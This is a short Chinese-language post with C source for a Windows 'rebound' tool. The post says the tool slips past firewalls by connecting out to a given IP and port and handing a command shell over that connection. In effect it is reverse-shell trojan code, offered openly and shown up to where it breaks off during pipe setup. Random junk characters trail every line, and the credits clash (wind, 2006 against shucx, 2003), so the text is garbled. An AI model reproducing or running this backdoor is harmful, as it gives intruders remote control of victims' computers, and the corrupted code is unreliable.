这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 G8-d%O p
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/* ============================== "m)O13x
Rebound port in Windows NT A_
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By wind,2006/7 ^O:RS
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===============================*/ ]b=A/*z
#include =|zLr"
#include 2qR@:^
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#pragma comment(lib,"wsock32.lib") 'N/%SRk
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void OutputShell(); a2)*tbM9\
SOCKET sClient; m,_oX1h
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; b|'LtL$Y
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void main(int argc,char **argv) =
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WSADATA stWsaData; I`lH6hHp
int nRet; $jL.TraV7
SOCKADDR_IN stSaiClient,stSaiServer; 1fG@r%4
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if(argc != 3) 0drc^rj
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printf("Useage:\n\rRebound DestIP DestPort\n"); (VRnv
return; xBd%e-r
} ^U1+D^AJ
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WSAStartup(MAKEWORD(2,2),&stWsaData); 32J
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !1]xKNp]
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stSaiClient.sin_family = AF_INET; V6o,}o&-
stSaiClient.sin_port = htons(0); \8H"lcj:
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z}|'&O*.F
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z oXF"Nz
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printf("Bind Socket Failed!\n"); wjs7K|PK
return; $xwF;:)
} >m46tfoM
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stSaiServer.sin_family = AF_INET; S|i
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `8*$$JC
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @:8|tJu8b
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Z$gY}Bz
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printf("Connect Error!"); =^{+h>#s@
return; "^%Il
} (["u"m%
OutputShell(); P^r8JhDJ
} 9w|q':<
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void OutputShell() hHQt4 r'd
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char szBuff[1024]; G{9y`;
SECURITY_ATTRIBUTES stSecurityAttributes; [&&4lKC}u
OSVERSIONINFO stOsversionInfo; x3
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ud1E@4;qf
STARTUPINFO stStartupInfo; #k6T_ki
char *szShell; *HUqW}_r
PROCESS_INFORMATION stProcessInformation; 4D5)<3N=d'
unsigned long lBytesRead; scmbDaOn
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); G5Nub9_*X
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "7d_$.Z
stSecurityAttributes.lpSecurityDescriptor = 0; G}x^PJJt
stSecurityAttributes.bInheritHandle = TRUE; >jIc/yEYKI
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Yi3DoaS;"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4-AmzU
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E^G=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (<